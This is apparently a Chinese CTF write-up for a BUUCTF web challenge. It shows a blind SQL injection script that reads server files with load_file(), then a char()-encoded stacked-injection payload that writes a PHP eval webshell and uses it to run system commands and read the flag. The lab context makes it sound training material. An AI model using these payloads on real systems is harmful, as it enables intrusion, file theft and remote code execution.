![](https://i-blog.csdnimg.cn/blog_migrate/fe544db4421191c0992f4f9c95f35b62.png)
打开界面,全部点击一遍,只有注册和登录功能可以使用
注册一个账号,注册admin提示用户存在,可能有二次注入,注册admin'
![](https://i-blog.csdnimg.cn/blog_migrate/10a5932fc496a8b454177090dc30b14c.png)
自动加了一个字符,无法二次注入,点击其他功能点
换浏览器重新登录后,各个功能点无法点击
![](https://i-blog.csdnimg.cn/blog_migrate/51ea7477069dc3f7e2eb080e4a58ff11.png)
![](https://i-blog.csdnimg.cn/blog_migrate/033cda0f52378b53d162b9f2f3b94cd1.png)
点击用户信息,当id=2,显示以下界面(将结合下面的文件上传利用)
![](https://i-blog.csdnimg.cn/blog_migrate/e01da5d3dc7c74e1be2a96c29c4624d7.png)
测试id=1
显示如下界面
![](https://i-blog.csdnimg.cn/blog_migrate/633a1b85c9a8b46e272b499b6e63ff2f.png)
点击编辑图片,看到有上传文件点(将结合上面的sql注入利用)
![](https://i-blog.csdnimg.cn/blog_migrate/881e33342bfa92f37e3fbade99f1e528.png)
上传一个webshell看看
![](https://i-blog.csdnimg.cn/blog_migrate/5b6cee5c6b2f3f07b6ae16d7450c6745.png)
抓包进行绕过
![](https://i-blog.csdnimg.cn/blog_migrate/aaf7ba241c332f25966971cc95de8652.png)
修改一下后缀名,文件上传成功(虽然在bp绕过,后缀名还是为jpg)
![](https://i-blog.csdnimg.cn/blog_migrate/ef1ac3f1fefa95606630a8df48003d1c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/79f000dd16562258957cfec0b2be6712.png)
上传点目前没啥用,从注入点进行操作,尝试读文件
import requests
cookies = {
"PHPSESSID":"jiadkkr16f4o0spgp88tued137"
}
data='0x'
flag=''
r=requests.session()
for i in range(9999):
for i in range(1,127):
#print (i)
url='http://9d09a1ad-3f91-41b5-9e7f-913c17681937.node4.buuoj.cn:81/user/user.php?id=0^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')'
result=r.get(url=url,cookies=cookies).text
if 'admin' in result:
data+=str(hex(i-1)).replace('0x','')
flag+=(chr(i-1))
print (flag)
break
print(data)
![](https://i-blog.csdnimg.cn/blog_migrate/bba11d3a3b60e896e30d21279f2fc04c.png)
可以读/var/www/html/index.php文件,读取/var/www/html/user/user.php文件(这种方法跑十几分钟也跑不出来)
看了大佬的wp,得知在/var/www/html/user/user.php中是用mysqli_multi_query()函数进行sql语句查询
mysqli_multi_query() 执行的sql语句,其可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔,也就存在堆叠注入。
已知存在注入点,且/favicon目录存在写权限,利用sql语句对目标目录写木马
存在各种限制,select,union,直接用char绕过(太菜,用其他绕过写马失败)
感觉以上不知道对做题影响不大,知道是堆叠注入和利用sql对目录写文件的思路就可以
原语句为
select ‘<?php eval($_POST[_]);?>’ into outfile ‘/var/www/html/favicon/shell.php’;
通过char及绕过的语句为
脚本如下:
str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
if i == 0:
print('char(%s'%ord(str[i]),end="")
else:
print(',%s'%ord(str[i]),end="")
print(')')
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
进行注入,页面显示webshell执行,对_参数进行传参
![](https://i-blog.csdnimg.cn/blog_migrate/4aeb8b572f55f9356ae31baf68be11fd.png)
payload为
_=system('cd /;ls');
看到一个文件为WelL_Th1s_14_fl4g,去读取这个文件
payload为
_=system('cd /;cat WelL_Th1s_14_fl4g ');
得到flag
![](https://i-blog.csdnimg.cn/blog_migrate/430a54ecad739cc3846dc752ca48c4ab.png)
flag{1cc63c44-f1b0-40c0-a64e-fdc8bfe4f503} 删删改改四五回,哥们只是想混个勋章,太折磨人了,看到我文章有罗里吧嗦的地方见谅,我其他文章都是以精简为主,不在乎文章分数,为了这个勋章,我只好车轱辘话转来转去(这一段就是这个作用)
终于70分了,拿个女神勋章真难啊